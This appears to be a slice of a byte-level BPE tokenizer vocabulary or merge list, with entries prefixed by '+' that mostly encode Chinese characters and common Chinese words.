+æķ¢ +寻 +è¦Ĩ +éĢĥ +ç»ıçIJĨ +åĿı +æ³½ +ä¹ĺ +åĪº +å±ı +é¡¿ +亡 +éĤĢ +åħ¼ +åĭ¤ +æ®ĭ +æĺł +æ¯ķä¸ļ +æĪª +è·Į +å£ģ +åı¦ä¸Ģ +羣å®ŀ +磨 +è¯ļ +å¿ħè¦ģ +æģĭ +æĩĤ +å¾Ĵ +è°ĵ +æķı +æĻ¨ +èĥ¸ +æĭ¼ +å¦Ļ +诸 +èģĬ +æĤī +麼 +åĩŃ +èĪĴ +æ¶Ĥ +è¿ģ +沿 +å¡ij +æĽ¿ +æ¾³ +å¿į +èĢĹ +龸 +åĩłå¹´ +åĪĬ +èĦī +èħIJ +æ¡Į +çºł +æ»ļ +æĤ² +åĨĴ +妹 +çķħ +纵 +æijĩ +夺 +è·¯ä¸Ĭ +忽 +èĸª +æģIJ +æĦıæĢĿ +å«Į +æı´ +æ°§ +èĢĢ +éĺ» +轨 +å¹» +æįķ +åĿ¦ +åĵĪåĵĪ +çĭIJ +滨 +è²» +è¿Ł +人éĥ½ +ç»ĺ +åı¹ +çµIJ +æī° +æ»ĭ +å¥ij +åĭŁ +確 +ð¦ +éĽĨåĽ¢ +æĿİ +å¼Ģå±ķ +æıIJåįĩ +åħ¨åĽ½ +汽车 +åŃ¦æł¡ +æł¹æį® +è¿Ļæĺ¯ +åĩºçݰ +éĻĪ +ç½Ĺ +èİ·å¾Ĺ +åĪĺ +éĶĢåĶ® +æľªæĿ¥ +éľĢæ±Ĥ +å®ŀæĸ½ +åĿļæĮģ +åħ¨çIJĥ +éĵ¶è¡Į +æİ§åζ +é¡» +åľ°åĮº +æīĵéĢł +çļĦè¯Ŀ +帮åĬ© +ä½ĵç³» +è¾¾åΰ +è§ĦåĪĴ +åŁ¹è®Ń +两个 +æĬ¥åijĬ +åľ°æĸ¹ +å®Įåħ¨ +æİī +ç»ĵåIJĪ +å®£ä¼ł +æ³ķå¾ĭ +èīºæľ¯ +ç͵影 +說 +ä¸ĢçĤ¹ +è¶ħè¿ĩ +ç͵åŃIJ +æĢĿæĥ³ +æķĻåѦ +éĺ¶æ®µ +åķĨä¸ļ +çµģ +åĪĽä¸ļ +æĸ¹æ¡Ī +çݰ代 +æ¡¥ +èIJ½å®ŀ +带æĿ¥ +产çĶŁ +ç§Ģ +æ³° +ä¹± +åħ·ä½ĵ +åĸĿ +èĵĿ +å®Ĺ +åįĩ级 +æ·±åħ¥ +ä¿ĿéĻ© +ç®Ģåįķ +çĹĽ +稳å®ļ +è¾Ĩ +å±ŀäºİ +å·Ŀ +ä¸įå°ij +åĴ¨ +ä¸ľè¥¿ +å½¢å¼ı +娱ä¹IJ +æŃ£å¸¸ +鸡 +åħħåĪĨ +å®ŀè·µ +éĩĮéĿ¢ +è·³ +èĻİ +æĪIJéķ¿ +æļĹ +çĿ¡ +罪 +çIJĨ念 +æĮij +èµĦæľ¬ +å¤ļå°ij +ä¸ĭéĿ¢ +å¸Ŀ +åħ¬å¼Ģ +æ¸IJ +éķ· +å±ĭ +欢è¿İ +å¿ĥçIJĨ +çĤİ +æ¹¾ +è®ĵ +éĤĦ +ç³ĸ +ä¹Į +åĬ± +çīĻ +èħ¿ +å²Ĺ +ä¼į +æĪIJåijĺ +åŃĶ +å°ıç¼ĸ +èij£ +泡 +åħĪè¿Ľ +åħ§ +åĺ´ +è´Ŀ +è» +æIJŀ +æ³Ľ +鸣 +ç½² +èĽĭ +主任 +缮çļĦ +ä¹ı +æ´¥ +æĪ´ +ä¸¥æł¼ +çħ¤ +çĮ« +å͝ +å°Ĭ +çĶľ +åŀĥ +åľ¾ +æĭŁ +çĦ¦ +é«Ķ +å®ı +æ©Ł +é©» +æĹģ +å½» +éĥ½ä¸į +æij© +ä»ĵ +ä¹³ +岸 +è°ĭ +大å¤ļ +çģŃ +èħ¾ +æŁľ +èĪį +åħļçļĦ +å°ĺ +åįģå¹´ +æĭĴ +裡 +æŁĶ +å¹¼ +éĶģ +ä¸ĵ项 +æīİ +驾驶 +ç¢İ +è¢ĭ +éĶĭ +壮 +å°ĸ +çĶµæ±ł +è¿Ķ +æ¼ı +循 +èıĮ +èĥĥ +è¾ħ +éĢĴ +èĥİ +éĻª +寿 +å¥Ķ +çĮĽ +纹 +çŁ¥åIJį +å¿Ĩ +æ¡ĥ +æ£ĭ +éĢĨ +çĤ¼ +ç±į +çī§ +æł·çļĦ +è¾Ľ +åłĨ +å®ŀåľ¨ +ä¼ı +宿 +èµı +è£Ĥ +åįĬå¹´ +å̾ +满æĦı +梯 +æĦıåij³ +åѤ +ç¥Ŀ +æĻ¶ +èµĶ +åģ¿ +èĦĤ +ç½ļ +ç¢į +æ²ĥ +æĵį +å´ĩ +æļĤ +è·ĥ +æIJ¬ +å©Ĩ +éī +éī´ +åħ´è¶£ +èIJ¥ä¸ļ +è®Ĭ +èĦı +è¾Ī +å·ŀå¸Ĥ +è´«åĽ° +ç©· +ä¸Ńå°ı +æ¼Ĥ +çĻĮ +èľľ +ä¼Ļä¼´ +çīµ +æĤŁ +éĻ· +èµĽåŃ£ +樣 +åģ¶ +æĺĨ +è¢Ń +æįIJ +èī° +æĤ¬ +çĶ¢ +èij¡ +çĽĹ +å©´ +å°İ +纽 +åĢ¡ +æī® +è¨Ń +æĬij +ç¡ķ +è¾ĸ +éĥģ +辩 +éĤ» +çݰåĩº +è¦ı +å½¹ +éĺĶ +åīµ +诱 +æĥij +æ·Ģ +é¢Ī +侦 +æģ° +æ£Ģå¯Ł +éĨ« +çĦ¶æĺ¯ +åĭĥ +èĮ« +äĵ +𬸠+ä½ľä¸º +çļĦ人 +éĤ£ä¹Ī +ç¾İåĽ½ +è¿ĺæľī +æıIJé«ĺ +èϽ +åħ·æľī +åĮħæĭ¬ +æĪĸèĢħ +ä¸įè¿ĩ +ä¸Ĭæµ· +åĮ»éĻ¢ +èµĦéĩij +çĶļèĩ³ +åĪ¶åº¦ +è§£åĨ³ +èģĶç½ij +ç»§ç»Ń +建ç«ĭ +è¿Ľä¸ĢæŃ¥ +æĿIJæĸĻ +ä»Ĭ天 +å¿ħé¡» +åIJĦç§į +çİ°åľº +ä»ĸçļĦ +å¢ŀåĬł +é¢ĨåŁŁ +åıĤä¸İ +æĮģç»Ń +ä¹ĭä¸Ģ +çī¹åĪ« +é±¼ +åħ±åIJĮ +åĬª +çİī +人们 +åħĪçĶŁ +ä¼ĺåĬ¿ +ä¿ĿæĮģ +ä½ľåĵģ +çīĽ +æĪIJæľ¬ +æĶ¶åħ¥ +åıĬæĹ¶ +è´Łè´£ +æİ¥åıĹ +èįIJ +åıªè¦ģ +羣çļĦ +导èĩ´ +æľºåζ +è¡ĮåĬ¨ +æĸ°çļĦ +å®ĮåĸĦ +为ä»Ģä¹Ī +ä¸Ń央 +æĪIJç«ĭ +æĦŁè§ī +åıĺåĮĸ +åıĹåΰ +å¹¶ä¸į +åŃĻ +æĸ½å·¥ +æĺİæĺ¾ +è¿ĩåİ» +åıijæĮ¥ +羣æŃ£ +åŁºåľ° +æĺİç¡® +èĥ¡ +许å¤ļ +ä¸Ģå¹´ +æĸ¹åIJij +æģ© +çĽ¸ä¿¡ +åľ³ +详ç»Ĩ +äºĭä¸ļ +çĶŁåij½ +åĴ¨è¯¢ +æĸĩæĺİ +çijŀ +绿èī² +èİ« +æĦıè¯Ĩ +æĬķåħ¥ +åĬłå¿« +æ¢ħ +ç¿» +å¼ĢæĶ¾ +æĻ®éĢļ +åįıä¼ļ +æĪIJ绩 +ä»Ļ +å¯Ĵ +è¯ģåΏ +认è¯Ĩ +丹 +大éĩı +è¿ħ +åģļåΰ +设æĸ½ +è´¸æĺĵ +èĥ½æºIJ +æĹ¶æľŁ +ä¸Ģ天 +æ²»çIJĨ +åĺī +å®ĩ +丰å¯Į +举è¡Į +æĪIJæŀľ +èĤ¯å®ļ +çĭĹ +åĬ¨åĬĽ +森 +åĩłä¹İ +åĽłç´ł +æ°ijæĹı +æ´ŀ +ç½ijåıĭ +åIJĪçIJĨ +广大 +æ®Ĭ +æ´Ľ +æĿ¯ +èĴĻ +ç͍äºİ +èŀįèµĦ +ç¥ĸ +æľºæ¢° +举åĬŀ +èĩªåĬ¨ +åĬŀåħ¬ +é»ŀ +éĽĦ +å̼å¾Ĺ +çĮª +以为 +æĺĮ +è·Ŀ离 +åIJ¸å¼ķ +ç»ķ +éļĨ +计ç®Ĺ +éĺŁä¼į +大ä¼ļ +å¼ķèµ· +çī¹çĤ¹ +èĥ¶ +å¹´è½» +æľ¬èº« +æľºåħ³ +å®ĺæĸ¹ +éĥij +æµĻ +è§Ĵèī² +èij£äºĭ +为主 +æĹłè®º +ä¹łæĥ¯ +æ¥ļ +æĭĵ +ç»Łè®¡ +åħĦ +å¹¿æ³Ľ +åįĢ +污æŁĵ +è«ĭ +èĬĤ缮 +伦 +è¦ĨçĽĸ +èĢIJ +æī¶è´« +ç»ıåİĨ +éĩįè¦ģçļĦ +èĤ¡ä¸ľ +æĭĽèģĺ +åĽĽä¸ª +æĩī +èĥŀ +æijĨ +é«ĺéĢŁ +麦 +åİŁåĪĻ +èݱ +æĽ´å¥½ +éķľ +åĩĮ +åŀĥåľ¾ +é̲ +çģ° +éĵº +äºĭæķħ +çĶĺ +空æ°Ķ +é¾Ħ +èı² +çĵ¶ +æĺ¨ +æĹ¥æĬ¥ +æµ® +åľ°åĽ¾ +åijĪ +大åĬĽ +绪 +å¸ħ +æľįåĭĻ +ä¸įéĶĻ +乡æĿij +å±¥ +å¹³æĸ¹ +éĹ² +æī£ +ç´łè´¨ +èµ´ +éģŃ +èIJ¨ +èĩªä¸» +éĩijå±ŀ +èī¯å¥½ +两年 +æ³¥ +é¢ľ +精彩 +ä¸Ńåįİ +æĻĭ +ä¹łè¿ij +ä¹łè¿ijå¹³ +æĪĺ士 +åģļçļĦ +éªij +æ»´ +çĵľ +çīĪæĿĥ +èĤł +æľĥåĵ¡ +çıį +種 +仿 +çī©ä¸ļ +åĢĭ人 +妻 +伸 +æ±Ĺ +æĹº +çIJĨæĥ³ +æij¸ +è¿Ŀæ³ķ +å®Įæķ´ +åݦ +è¸ı +æĸij +æ¡Ĥ +ä½ĵåζ +師 +æĿĨ +殿 +æ¯ģ +é¦Ī +è§Ĵ度 +欣 +çĥ¦ +èĤº +éĩĩ访 +æijĺ +æĮ¡ +æ·ĺ +åħ»èĢģ +çĤ¸ +è¿Ī +åİī +åĿĬ +è¾£ +åĩĿ +泪 +çĸı +æİĺ +åĥıæĺ¯ +éĽķ +ç¼Ŀ +èį· +æį· +åł¡ +åı¥è¯Ŀ +çĸ¼ +æłı +éģµ +碳 +å·¥åķĨ +æIJº +åĪ¥ +ä¹Ļ +æĹĭ +æĥľ +ä¸Ģ大 +å±Ĥ次 +èµĸ +æĬ¬ +æ¨Ĥ +è¯ŀ +åħĴ +篮 +èĤĥ +å§¿ +æĬļ +çĵ· +ç͵åĬ¨ +æĸ°åĨł +æ¶µ +ç¢ij +æ·® +æĹ¨ +踪 +æ¸Ķ +æĦĪ +åıĶ +åįĹçľģ +義 +å§Ķ书记 +貸 +æ¶Į +è«ĸ +èIJĦ +æıı +å¿§ +辦 +å¦Ĩ +æīŃ +åijµ +éģ¥ +許 +ä»ĩ +åįģä¸ī +åī² +èªį +èΰ +é¢ĩ +饱 +çĭł +é«ĺçļĦ +çµ± +æħİ +é¢ģ +åIJĪéĢĤ +æµ´ +èµĭ +æĬ¼ +妥 +éĻ¢éķ¿ +èĢķ +辨 +æħ° +åįģåĽĽ +æľµ +èĵĦ +æŀ¢ +å»· +æĤĦ +涯 +磩 +åŃIJéĩĮ +çĬ¹ +å±Ģéķ¿ +éIJ +å¥ł +ä¼ļéķ¿ +æĵļ +ä¸įåıĬ +åįģä¹Ŀ +欺 +躺 +éĺIJ +çºĮ +註 +åĨĬ +èŃĺ +é«ĺçŃī +èħº +å¤ķ +ç»ij +åͤ +èķ´ +çķľ +æħĭ +åıĻ +åıĥ +峡 +人大 +éħ¿ +éģ© +奢 +åı£æ°Ķ +éĮĦ +éı +åĭĺ +è´¿ +éļª +éĭ +éļ¶ +ð¥ +𬣠+ð£ +ð«į +𬳠+ð«ĵ +ð«Ħ +ð«Ł +𨱠+äĹ +以åıĬ +æľīéĻIJ +åij¢ +åIJĹ +çľĭåΰ +计åĪĴ +è¿Ľåħ¥ +缴æİ¥ +åĪĨæŀIJ +åıªæľī +设å¤ĩ +åħ¶å®ŀ +åĬłå¼º +ä¸ŃçļĦ +ä¿Ŀéļľ +èĢģå¸Ī +人æīį +å¾Ĺåΰ +é£İéĻ© +ä¸Ģç§į +空éĹ´ +æĪijåĽ½ +ä¹ĭåīį +ä¸ĵå®¶ +æĿ¨ +æĹ¥æľ¬ +群ä¼Ĺ +åıĤåĬł +æķĪæŀľ +æľīåħ³ +å®¶åºŃ +åĮºåŁŁ +åĬªåĬĽ +éļıçĿĢ +æĹłæ³ķ +交æµģ +è¡Į为 +æ£ĢæŁ¥ +æľŁéĹ´ +å¦ĤæŃ¤ +èĤ¡ä»½ +å½ĵæĹ¶ +è£ħå¤ĩ +åĩĨå¤ĩ +éħĴåºĹ +è¿IJåĬ¨ +æıIJåĩº +å·¦åı³ +æİªæĸ½ +é£Łåĵģ +æ¶Īè´¹èĢħ +åѦéĻ¢ +æĮĩ导 +è¿IJèIJ¥ +éĩį大 +åĨľæĿij +éĢłæĪIJ +æĶ¿æ²» +éĴĪ对 +æŃ£å¼ı +åıĸå¾Ĺ +éĤ£ä¸ª +éĽĨä¸Ń +åıªèĥ½ +å¿«éĢŁ +身ä½ĵ +åħļåijĺ +èģĶåIJĪ +åĬĽéĩı +éĥ½æľī +æħ§ +å¡Ķ +åĪ«äºº +表çݰ +æķħäºĭ +ä¸ĢåĪĩ +å°ĩ +èµĦæĸĻ +åŁ¹åħ» +éĺħ读 +æľī人 +èIJ¥éĶĢ +çĽijçĿ£ +çݯä¿Ŀ +èĢĥèĻij +æ·±åľ³ +严éĩį +èĮĥåĽ´ +å§Ķåijĺ +çĽij管 +ä¸ī个 +è£ħä¿® +åħ¬éĩĮ +åĪĨåĪ« +çIJĨè§£ +飩 +åĬłå·¥ +è®¤çľŁ +ä¸į好 +åݻ年 +éĻįä½İ +æľºä¼ļ +åįıè®® +符åIJĪ +å¢ŀ强 +æĬĢèĥ½ +é¦ĸåħĪ +秦 +ä¸ģ +å°¾ +æľīäºĨ +åľ°äº§ +æ¸ł +æĸ¹ä¾¿ +ç§»åĬ¨ +éĢŁåº¦ +å°¤åħ¶ +éĢļçŁ¥ +åĿĽ +éģ¿åħį +æģ¢ +è´¡ +èģĮå·¥ +å®ŀåĬĽ +æĺ¯ä¸Ģç§į +åIJ¯åĬ¨ +çĸ¾çĹħ +æĿ¥äºĨ +çĽ¸å¯¹ +çݰå®ŀ +èŀįåIJĪ +åIJĮæł· +åħ¬åijĬ +ç®Ĭ +ç´« +ä¸ĭåİ» +ä¼łæĴŃ +æľĢ好 +ä¼ĺè´¨ +æ²Ĵ +æĮº +æĹ¦ +诺 +ä¸ĢåIJį +éģĵè·¯ +示èĮĥ +è¿ĩæĿ¥ +åIJĮåѦ +é¼ĵ +æĿŃ +æľ¬æ¬¡ +åIJĮæĦı +ä¸ĸ纪 +ç¾Ĭ +欲 +å·¥èīº +çĵ¦ +人士 +æľīæīĢ +ä»İäºĭ +æľīå¾Īå¤ļ +ä¸įäºĨ +å²Ĺä½į +åıĺå¾Ĺ +åĬ³åĬ¨ +å¤Ħäºİ +å¹³åĿĩ +形象 +å¡ŀ +åħ±äº« +çĿĽ +åĪ©æ¶¦ +æŃ£æĺ¯ +å¾Ģå¾Ģ +缸æ¯Ķ +横 +åĪ· +æµĻæ±Ł +大éĥ¨åĪĨ +å¤ļ个 +æĤ¨çļĦ +ç͵åķĨ +å¾®åįļ +å§ĭç»Ī +çĬ¯ç½ª +æĺ¯åľ¨ +ç»ĦåIJĪ +åİŁæĿ¥ +æ¸ħæ¥ļ +åIJĦåľ° +æĦŁåıĹ +å½ĵä¸Ń +è¶ĭåĬ¿ +æĻ¯åĮº +羣æĺ¯ +ä¾ĽåºĶ +转åŀĭ +çĭĤ +èĨľ +èĭĹ +å¿ł +å¾Ī大 +èĤ¡æĿĥ +ç¾İåħĥ +æİĴåIJį +åĬ¨çī© +éĶħ +墨 +主å¸Ń +å¾Ī好 +ç»Ŀ对 +æĿľ +转载 +çĴĥ +æĿijæ°ij +åIJ¨ +åĽŃåĮº +é«ĺ度 +çī©è´¨ +è¾ī +æĹ¥å¸¸ +æıĴ +ä¸īå¹´ +ä½ĵçݰ +æīįæĺ¯ +代çIJĨ +ä¸į管 +æģĴ +åľ°ä½į +ç²® +èĸĦ +æĺİçϽ +ä¸Ģèĩ´ +æĽ¼ +åĵŃ +åĩ¤ +åĬ² +æķĮ +æĪĺæĸĹ +主ä½ĵ +åħ¬å¸ĥ +åıĤèĢĥ +èĪªç©º +寺 +åѦä¼ļ +åıįæĺł +ç¾İ丽 +太éĺ³ +建æĪIJ +æħ¢æħ¢ +åIJĦ个 +éĤ¦ +ç»ĦæĪIJ +ä¸ī大 +éͦ +大å¤ļæķ° +æ¦Ĥ念 +éŃĤ +åħ¬çĽĬ +èįĴ +身份 +æ·±åĪ» +åħ© +ç»ıåħ¸ +åIJĦ项 +èĻķ +è¿ĽæŃ¥ +åįģäºĮ +æī§æ³ķ +æĥ³åΰ +æĦŁæŁĵ +åķĨåĬ¡ +å°ıç»Ħ +èͬ +çıŃåŃIJ +åIJĮå¿Ĺ +éĿ¢ä¸´ +çĤĴ +å¤ļç§į +è§ĤçĤ¹ +åĵªéĩĮ +å°Ŀ +å§Ĩ +èħ¹ +åŁİåĮº +太å¤ļ +çĹħæ¯Ĵ +åľ¨äºİ +æīĢè°ĵ +æĻ° +æŀĿ +æĭĸ +å®ħ +æķ´æ²» +ä½ıæĪ¿ +åģ· +çĨĬ +èµģ +æ°Ľ +æł¼å±Ģ +åŁºç¡Ģä¸Ĭ +èĥĨ +åħ½ +鼶åĶ® +åĿ¡ +女åŃ© +æĴŀ +åħ¨åĬĽ +åĴĸ +èĤ© +çľī +èĩ³äºİ +åħļç»Ħ +ä¸Ģä»¶ +æĭĨ +äºĭå®ŀ +åĤ³ +æ¹ĺ +ç¶²ç«Ļ +循çݯ +åIJĮæ¯Ķ +æĭĶ +åĮ»èᝠ+åħ»æ®ĸ +åĽºå®ļ +å®ŀéĻħä¸Ĭ +è®°å¾Ĺ +åĪ©äºİ +æĤ¦ +æĭ³ +èĤĿ +æķĪçĽĬ +該 +æ°ij主 +çĹĩçĬ¶ +風 +å¹¼åĦ¿ +å§ij +æĪĴ +ä¸ĭçļĦ +渡 +å¹´åºķ +è®°å¿Ĩ +åIJIJ +大å¹ħ +å¾½ +åħ¬ä¼Ĺ +ä¿¡å¿ĥ +çİĽ +ä¼ļä¸Ĭ +ä¹Ķ +æijĦå½± +æ£ĭçīĮ +éĻķ +åºĶæĢ¥ +æĶ¶è´¹ +æİ§èĤ¡ +仪å¼ı +çŀ¬ +æīĢåľ¨ +碰 +å§ĵ +é¡Į +æĶ¯éĥ¨ +使åij½ +çĤī +å¯Ħ +翼 +åľ°ä¸ĭ +è¾ŀ +俱 +主æĮģ +è´§å¸ģ +æģ¨ +èĤĮ +çĽĪ +éĶ» +å¿ĹæĦ¿ +类似 +æĮĸ +éĢ» +總 +纪念 +åķ¥ +弯 +åIJįåŃĹ +åģ¥èº« +çļĦå¿ĥ +驱 +èĥĮåIJİ +æ³ķå¸Ī +ç²Ĵ +èĥ½éĩı +è¾° +èī³ +å½¼ +段æĹ¶éĹ´ +åIJĪæ³ķ +æĵ¦ +ç¾½ +åݨ +æĪij说 +äºĭåĬ¡ +åĩłå¤© +åħģ +ç¼´ +åįĵ +两ç§į +çĭ¬çī¹ +帶 +éĴ» +æĥ© +é¢ĨåħĪ +è¶³å¤Ł +壳 +æĦıåij³çĿĢ +åĪĨå¸ĥ +ä¹ĥ +éģĭ +佩 +è°± +çģ£ +èį¡ +贯彻 +å¹¾ +ç£ģ +åħ¸åŀĭ +åīĩ +åĨ» +æ¬ł +ä¸įä¹ħ +浦 +éŃħ +å¼ĢäºĨ +使ç͍èĢħ +è¿Ļ款 +å°Ī +èĦ±è´« +æĶ»åĿļ +ç®Ĺæĺ¯ +ç¨Ģ +æĹłäºº +åłµ +å¥ı +éĥ½å¸Ĥ +åı¯è§ģ +ä¸įåĩº +æ·» +äºı +ç¾İ好 +èĥĸ +飵 +æłĩå¿Ĺ +èĬĤèĥ½ +æĬ« +å°º +寸 +ä¸Ģ代 +é¢Ĺ +è̶ +èĴ¸ +åĸ® +滿 +çĮľ +æµĨ +åŁĥ +åįĥä¸ĩ +èµĮ +èģ² +ä½ľé£İ +質 +寨 +年人 +åį°è±¡ +æ¡¶ +æĴ¤ +åįģäºĶ +æ¯ħ +沪 +åĽ½æľī +大éĩıçļĦ +御 +å¯ĵ +è¦ĸ +æ¼Ĥ亮 +çľł +çĤŃ +é»İ +èϹ +åĪ©äºļ +èŃī +æµı +åįģåħ« +丢 +è¾½ +æľīä¸ĢäºĽ +æħĪ +åģľè½¦ +å®ł +è§£æĶ¾ +æľīå¤ļ +éĤĬ +常è§ģ +æĬ¹ +纤 +親 +æ¡Ĩ +èİŀ +æ°§åĮĸ +è¿Ļä»¶ +åĩ° +æŁ´ +åıijç͵ +é¼ł +转åĮĸ +å¨ĥ +æĮ¤ +罩 +å¯ĨåĪĩ +æĪijä¸į +é«ĺæĸ° +ä¸Ģç¯ĩ +è¿Ľç¨ĭ +è¡° +è¿ĺä¸į +çħĮ +æĸ°åįİ +èĤ¿ +滩 +ä¸Ģæµģ +è¯Ī +å®ŀä½ĵ +å¤ĸåĽ½ +躲 +èµł +覺 +æ¢Ŀ +ä¸įè§ģ +è¨Ĭ +åĮ¹ +åįµ +çĩ¥ +æħķ +齿 +å®´ +饼 +èij¡èIJĦ +å°ıå¿ĥ +æģ¼ +éĻĮ +æĺĤ +åĥ¹ +èĬĿ +æ¯ı个人 +åīįæıIJ +ä½ĵä¼ļ +æ¨Ļ +æIJľçĭIJ +对åħ¶ +丧 +èľĤ +浸 +調 +åĿª +é¢ĸ +åIJį为 +笼 +èĪĮ +æľ¬ä¹¦ +èģ¯ +纺 +ç®Ģ缴 +éĽ¢ +ç¾İçļĦ +éļ¨ +é«ĺå³° +è¿Ļå®¶ +åĤ¬ +å°¸ +ç¡ķ士 +èŃ· +è°¨ +æĺı +æĶ¿åįı +è¡Ķ +ç¿Ĵ +åľĴ +åĽ½æ°ij +主è§Ĵ +è£ķ +伪 +åºŀ +æ°ijèIJ¥ +æĥ§ +ç§ĺ书 +çĹķ +çϾåĪĨ +溶 +æĹłçĸij +çļĦçľ¼ +æĵİ +ä¼Łå¤§ +å½° +åħ¬å®īå±Ģ +ç³ķ +å¼¥ +åĤĻ +ä¹¾ +毫ä¸į +注æĺİ +å̻ +æĦī +æķ¦ +馨 +æĶĢ +éĢĿ +åı¯éĿł +夸 +åľĺ +éĿ¢ä¸Ĭ +æĬĸ +èĦĨ +é©° +ä¼IJ +妨 +å®ļäºĨ +ç³Ĭ +æŃ¡ +éĥ¨éķ¿ +ç§ī +èĪĨ +åĪijäºĭ +åIJµ +æ¤Ĵ +è¡ĵ +豫 +èı© +åѵ +饲 +就好 +åłª +ä¸īè§Ĵ +åľºæ¯ĶèµĽ +ä¸įåģľ +æĵħ +åħ¨æĸĩ +æ³ģ +åѦä½į +æ±° +éłĺ +åıł +éļĽ +å¸IJ +çľĭåĩº +åĮł +å±ĢéĿ¢ +æ³Į +è°Ĭ +åIJĮæľŁ +æĬķæłĩ +奴 +æĿ¥çľĭçľĭ +èĦ¾ +èŀº +æŃī +çĽ¯ +ç¨İåĬ¡ +å»Ĭ +æİ© +æħ¨ +çĽ¼ +èĬĴ +è®Ģ +æĮ£ +èĮħ +æĸ¥ +æ¤ħ +åΰæĿ¥ +èijĹä½ľ +çĭ± +äºĮæīĭ +ä»İæĿ¥ +çĸ² +åºĬä¸Ĭ +æĸ°æµª +æ³Ħ +å¢ŀå̼ +丼 +æļij +ä»İä¸ļ +æ·ĭ +å¤ļæł· +æľ´ +份é¢Ŀ +æŀ£ +西çľģ +æľ¬è´¨ +深深 +èīĩ +绵 +产å̼ +æ¼ł +èħ» +çŃĽ +åİĮ +æģŃ +å«Įçĸij +æĪ¶ +æ»ŀ +èĨĢ +åĬ£ +座è°Ī +常æĢģ +çļĦæĥħ +覽 +å¯Ĥ +åĮĨ +èĩº +顯 +çķı +éģ£ +åįľ +çŃīå¥ĸ +責 +溯 +éİ +çĤ¹å¤´ +èĵ¬ +決 +éħ¬ +éģĬ +è³¼ +註åĨĬ +æľ¬æĬ¥ +çµķ +æ´»æĢ§ +åħij +éĮ¯ +åĨ¶ +åĸ» +æºĸ +èĤ¢ +æºĥ +æĹ¬ +åīĬ +çIJĨäºĭ +å±ł +æ²§ +èļĢ +鼻åŃIJ +为æŃ¢ +常å§Ķ +çµĤ +éĬ· +çĭĢ +ä¾£ +èĥĢ +èѰ +çĶ¨è½¦ +åĻª +æŃ· +åįĶ +åι +竣æĺ¯ +é©Ĺ +èIJĿ +çĻ« +çĹ« +æŃ§ +å¼Ĭ +媽 +çıĬ +è¡· +éľī +åŁºçĿ£ +éļ± +æ°¨ +绸 +å°¼æĸ¯ +çĥĺ +æľŁåĨħ +è°ħ +éĽĩ +éļĻ +åĸī +åī¥ +çĹĺ +æĮ½ +çĵ£ +æ¹Ľ +樱 +æ¾İ +æ¹ĥ +åĨ¬å¥¥ +棵 +å®° +åŀĴ +æ§ĭ +ä¾Ī +èĮĦ +åĺ¿ +èıĩ +çĻĤ +åĬĥ +éį +èͽ +çŀŃ +æķŀ +ä¹ĸ +飧 +è¾ľ +æĩĪ +ä½£ +çŀ» +åŁĶ +èĪħ +å®ŀäºĭ +é¨ +å§¥ +絡 +åĺ» +çķ¢ +æ²ĥå°Ķ +è¿Ħ +èĤĩ +æħij +ã§ +äı +ðł +ð¬ĩ +ð«Ń +ð«IJ +ã³ +©½ +ð«ł +ãĽ +ð¬į +é¿ +ð¬Ĵ +ãĻ +𬤠+𬴠+ð«ĸ +ð¤ +㬠+ä² +ð«Ķ +ð«ļ +è¦ģæ±Ĥ +ä¸ĢäºĽ +å®ŀçݰ +èĢĮä¸Ķ +åĽłæŃ¤ +çͱäºİ +åħ³äºİ +çĦ¶åIJİ +æİ¨åĬ¨ +ä¸Ģæł· +æĮīçħ§ +è¿Ļæł·çļĦ +å½¢æĪIJ +æľīäºĽ +æĽ´åĬł +ç»ıè¿ĩ +建议 +æ²»çĸĹ +ä½łä»¬ +æīįèĥ½ +ä¿ĥè¿Ľ +åijĺå·¥ +ä½ĵéªĮ +èĪĩ +åģļ好 +ä¿Ŀè¯ģ +æķ´ä¸ª +æĺ¯ä¸Ģ个 +éĩĩç͍ +çIJĨ论 +æ¯Ķå¦Ĥ +ä¸ĬçļĦ +æİ¨èįIJ +çĶ³è¯· +天空 +éĥ¨èIJ½ +åįģåĪĨ +æĿ¥èĩª +ä¹ĭéĹ´ +è°ĥæķ´ +æ¯ı天 +è°ĥæŁ¥ +æĤ£èĢħ +è¿ĩç¨ĭä¸Ń +é¦Ļ港 +广åijĬ +éĿ¢å¯¹ +满足 +éķ¿æľŁ +è§ĦèĮĥ +æķ´ä½ĵ +æĶ¹åıĺ +æĻºæħ§ +å¦Īå¦Ī +å¦Ĥä»Ĭ +åIJĪåIJĮ +éĥ½ä¼ļ +åĦ¿ç«¥ +åĩıå°ij +éŁ³ä¹IJ +ç»ı常 +ä¸Ĭå¸Ĥ +ä¼ĺç§Ģ +çļĦéĩįè¦ģ +ä¸ĢæĿ¡ +æµ·å¤ĸ +åı¦å¤ĸ +ä¸Ģå®¶ +åİĭåĬĽ +大åŀĭ +çľĭçĿĢ +åĪĢ +幸ç¦ı +æİ¨å¹¿ +åIJĽ +å¾IJ +æī¾åΰ +äºİæĺ¯ +èĩªèº« +ä¸Ģä½į +åľŁåľ° +åĬłåħ¥ +æİ¢ç´¢ +æ¢ģ +主åĬ¨ +å°±ä¸ļ +女æĢ§ +çªģçł´ +ä¸įåIJĮçļĦ +è¿IJè¾ĵ +èĩªçͱ +å±ħæ°ij +æŃ¤æ¬¡ +çļĦæĹ¶éĹ´ +å®¶éķ¿ +ä¸Ģ个人 +æ£Ģæµĭ +åĨħéĥ¨ +广å·ŀ +缴æĴŃ +ä»İèĢĮ +贷款 +åı¬å¼Ģ +æĶ¹éĢł +人çĶŁ +å±ķ示 +æ¯ıå¹´ +女人 +çļĦæĸ¹å¼ı +æķĪçİĩ +å±±ä¸ľ +æ¸łéģĵ +ä¼¼ä¹İ +æ¡Īä»¶ +åĪ©çĽĬ +çľĭçľĭ +å¿ĥéĩĮ +ç»´æĬ¤ +å®Ŀå®Ŀ +ç½ijä¸Ĭ +论åĿĽ +å°±åı¯ä»¥ +ä¸įè¶³ +æģ¢å¤į +å¸ĥå±Ģ +è´¡çĮ® +ä¸ĭéĻį +æİĮæı¡ +çļ®èĤ¤ +å·¥åħ· +éĩįåºĨ +åĵģè´¨ +æİ¨åĩº +çĶ·äºº +æī¿æĭħ +çªģåĩº +èĢĮè¨Ģ +æ²Ł +åįıè°ĥ +æĺ¯ä»Ģä¹Ī +汤 +æĴij +çĭ¬ç«ĭ +çݯèĬĤ +æī©å¤§ +æ´ª +æĿ° +çĽIJ +ä»ģ +æ¶īåıĬ +èĢģ人 +åį³ä½¿ +åįĹ京 +éħįåIJĪ +鬼 +çĪ¶äº² +ç½Ĺæĸ¯ +å°ıåĮº +æķĻæİĪ +åĨ³çŃĸ +é¢Ħ计 